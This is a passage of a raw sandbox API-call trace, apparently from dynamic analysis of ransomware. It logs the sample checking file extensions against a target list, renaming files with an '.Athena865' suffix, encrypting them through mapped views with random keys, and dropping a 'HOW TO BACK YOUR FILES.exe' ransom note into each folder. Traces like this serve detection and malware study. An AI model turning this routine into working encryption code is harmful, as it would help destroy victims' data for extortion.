returned 3 [0053.855] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.855] lstrlenW (lpString="^^^") returned 3 [0053.855] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.855] lstrlenW (lpString="abs") returned 3 [0053.855] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.855] lstrlenW (lpString="abx") returned 3 [0053.855] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.855] lstrlenW (lpString="accdb") returned 5 [0053.855] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.855] lstrlenW (lpString="accdc") returned 5 [0053.855] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.855] lstrlenW (lpString="accde") returned 5 [0053.855] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.855] lstrlenW (lpString="accdr") returned 5 [0053.855] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.855] lstrlenW (lpString="accdt") returned 5 [0053.855] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.855] lstrlenW (lpString="accdw") returned 5 [0053.855] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.855] lstrlenW (lpString="accft") returned 5 [0053.855] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.856] lstrlenW (lpString="adb") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.856] lstrlenW (lpString="adb") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.856] lstrlenW (lpString="ade") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.856] lstrlenW (lpString="adf") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.856] lstrlenW (lpString="adn") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.856] lstrlenW (lpString="adp") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.856] lstrlenW (lpString="alf") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.856] lstrlenW (lpString="ask") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.856] lstrlenW (lpString="btr") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.856] lstrlenW (lpString="cat") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.856] lstrlenW (lpString="cdb") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.856] lstrlenW (lpString="ckp") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.856] lstrlenW (lpString="cma") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.856] lstrlenW (lpString="cpd") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.856] lstrlenW (lpString="dacpac") returned 6 [0053.856] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.856] lstrlenW (lpString="dad") returned 3 [0053.856] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.856] lstrlenW (lpString="dadiagrams") returned 10 [0053.856] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.857] lstrlenW (lpString="daschema") returned 8 [0053.857] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.857] lstrlenW (lpString="db-journal") returned 10 [0053.857] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.857] lstrlenW (lpString="db-shm") returned 6 [0053.857] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.857] lstrlenW (lpString="db-wal") returned 6 [0053.857] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.857] lstrlenW (lpString="dbc") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.857] lstrlenW (lpString="dbs") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.857] lstrlenW (lpString="dbt") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.857] lstrlenW (lpString="dbv") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.857] lstrlenW (lpString="dbx") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.857] lstrlenW (lpString="dcb") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.857] lstrlenW (lpString="dct") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.857] lstrlenW (lpString="dcx") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.857] lstrlenW (lpString="ddl") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.857] lstrlenW (lpString="dlis") returned 4 [0053.857] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.857] lstrlenW (lpString="dp1") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.857] lstrlenW (lpString="dqy") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.857] lstrlenW (lpString="dsk") returned 3 [0053.857] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.858] lstrlenW (lpString="dsn") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.858] lstrlenW (lpString="dtsx") returned 4 [0053.858] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.858] lstrlenW (lpString="dxl") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.858] lstrlenW (lpString="eco") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.858] lstrlenW (lpString="ecx") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.858] lstrlenW (lpString="edb") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.858] lstrlenW (lpString="epim") returned 4 [0053.858] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.858] lstrlenW (lpString="fcd") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.858] lstrlenW (lpString="fdb") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.858] lstrlenW (lpString="fic") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.858] lstrlenW (lpString="flexolibrary") returned 12 [0053.858] lstrlenW (lpString="fm5") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.858] lstrlenW (lpString="fmp") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.858] lstrlenW (lpString="fmp12") returned 5 [0053.858] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.858] lstrlenW (lpString="fmpsl") returned 5 [0053.858] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.858] lstrlenW (lpString="fol") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.858] lstrlenW (lpString="fp3") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.858] lstrlenW (lpString="fp4") returned 3 [0053.858] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.859] lstrlenW (lpString="fp5") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.859] lstrlenW (lpString="fp7") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.859] lstrlenW (lpString="fpt") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.859] lstrlenW (lpString="frm") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.859] lstrlenW (lpString="gdb") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.859] lstrlenW (lpString="gdb") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.859] lstrlenW (lpString="grdb") returned 4 [0053.859] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.859] lstrlenW (lpString="gwi") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.859] lstrlenW (lpString="hdb") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.859] lstrlenW (lpString="his") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.859] lstrlenW (lpString="ib") returned 2 [0053.859] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.859] lstrlenW (lpString="idb") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.859] lstrlenW (lpString="ihx") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.859] lstrlenW (lpString="itdb") returned 4 [0053.859] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.859] lstrlenW (lpString="itw") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.859] lstrlenW (lpString="jet") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.859] lstrlenW (lpString="jtx") returned 3 [0053.859] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.859] lstrlenW (lpString="kdb") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.860] lstrlenW (lpString="kexi") returned 4 [0053.860] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.860] lstrlenW (lpString="kexic") returned 5 [0053.860] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.860] lstrlenW (lpString="kexis") returned 5 [0053.860] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.860] lstrlenW (lpString="lgc") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.860] lstrlenW (lpString="lwx") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.860] lstrlenW (lpString="maf") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.860] lstrlenW (lpString="maq") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.860] lstrlenW (lpString="mar") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.860] lstrlenW (lpString="marshal") returned 7 [0053.860] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.860] lstrlenW (lpString="mas") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.860] lstrlenW (lpString="mav") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.860] lstrlenW (lpString="maw") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.860] lstrlenW (lpString="mdbhtml") returned 7 [0053.860] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.860] lstrlenW (lpString="mdn") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.860] lstrlenW (lpString="mdt") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.860] lstrlenW (lpString="mfd") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.860] lstrlenW (lpString="mpd") returned 3 [0053.860] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.861] lstrlenW (lpString="mrg") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.861] lstrlenW (lpString="mud") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.861] lstrlenW (lpString="mwb") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.861] lstrlenW (lpString="myd") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.861] lstrlenW (lpString="ndf") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.861] lstrlenW (lpString="nnt") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.861] lstrlenW (lpString="nrmlib") returned 6 [0053.861] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.861] lstrlenW (lpString="ns2") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.861] lstrlenW (lpString="ns3") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.861] lstrlenW (lpString="ns4") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.861] lstrlenW (lpString="nsf") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.861] lstrlenW (lpString="nv") returned 2 [0053.861] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.861] lstrlenW (lpString="nv2") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.861] lstrlenW (lpString="nwdb") returned 4 [0053.861] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.861] lstrlenW (lpString="nyf") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.861] lstrlenW (lpString="odb") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.861] lstrlenW (lpString="odb") returned 3 [0053.861] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.861] lstrlenW (lpString="oqy") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.862] lstrlenW (lpString="ora") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.862] lstrlenW (lpString="orx") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.862] lstrlenW (lpString="owc") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.862] lstrlenW (lpString="p96") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.862] lstrlenW (lpString="p97") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.862] lstrlenW (lpString="pan") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.862] lstrlenW (lpString="pdb") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.862] lstrlenW (lpString="pdm") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.862] lstrlenW (lpString="pnz") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.862] lstrlenW (lpString="qry") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.862] lstrlenW (lpString="qvd") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.862] lstrlenW (lpString="rbf") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.862] lstrlenW (lpString="rctd") returned 4 [0053.862] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.862] lstrlenW (lpString="rod") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.862] lstrlenW (lpString="rodx") returned 4 [0053.862] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.862] lstrlenW (lpString="rpd") returned 3 [0053.862] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.862] lstrlenW (lpString="rsd") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.863] lstrlenW (lpString="sas7bdat") returned 8 [0053.863] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.863] lstrlenW (lpString="sbf") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.863] lstrlenW (lpString="scx") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.863] lstrlenW (lpString="sdb") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.863] lstrlenW (lpString="sdc") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.863] lstrlenW (lpString="sdf") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.863] lstrlenW (lpString="sis") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.863] lstrlenW (lpString="spq") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.863] lstrlenW (lpString="te") returned 2 [0053.863] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.863] lstrlenW (lpString="teacher") returned 7 [0053.863] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.863] lstrlenW (lpString="tmd") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.863] lstrlenW (lpString="tps") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.863] lstrlenW (lpString="trc") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.863] lstrlenW (lpString="trc") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.863] lstrlenW (lpString="trm") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.863] lstrlenW (lpString="udb") returned 3 [0053.863] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.864] lstrlenW (lpString="udl") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.864] lstrlenW (lpString="usr") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.864] lstrlenW (lpString="v12") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.864] lstrlenW (lpString="vis") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.864] lstrlenW (lpString="vpd") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.864] lstrlenW (lpString="vvv") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.864] lstrlenW (lpString="wdb") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.864] lstrlenW (lpString="wmdb") returned 4 [0053.864] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.864] lstrlenW (lpString="wrk") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.864] lstrlenW (lpString="xdb") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.864] lstrlenW (lpString="xld") returned 3 [0053.864] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.864] lstrlenW (lpString="xmlff") returned 5 [0053.864] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.864] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Pictures\\desktop.ini.Athena865") returned 64 [0053.864] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Pictures\\desktop.ini" (normalized: "c:\\documents and settings\\default\\pictures\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Pictures\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\pictures\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.865] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Pictures\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\pictures\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.866] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=504) returned 1 [0053.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0053.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519a20) returned 1 [0053.867] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.867] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.867] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x17c [0053.869] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000 [0053.870] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519a20) returned 1 [0053.871] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.871] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0053.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0053.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.872] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.872] CloseHandle (hObject=0x17c) returned 1 [0053.872] CloseHandle (hObject=0x154) returned 1 [0053.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0053.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.872] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.872] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.872] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.872] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.872] ReleaseMutex (hMutex=0xec) returned 1 [0053.872] CloseHandle (hObject=0xec) returned 1 [0053.873] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\PrintHood" | out: lpString1="C:\\Documents and Settings\\Default\\PrintHood") returned="C:\\Documents and Settings\\Default\\PrintHood" [0053.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528a10 | out: hHeap=0x4f0000) returned 1 [0053.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x4f0000) returned 1 [0053.873] lstrlenW (lpString="C:\\Documents and Settings\\Default\\PrintHood") returned 43 [0053.873] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\99D19488FF3D652FC95C0D35A32771D8") returned 0xec [0053.873] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.873] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\PrintHood" | out: lpString1="C:\\Documents and Settings\\Default\\PrintHood") returned="C:\\Documents and Settings\\Default\\PrintHood" [0053.873] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.873] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.873] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\printhood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.873] GetLastError () returned 0x0 [0053.874] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.874] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.874] CloseHandle (hObject=0xf4) returned 1 [0053.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.874] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.874] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\PrintHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.875] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.875] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.875] lstrcmpiW 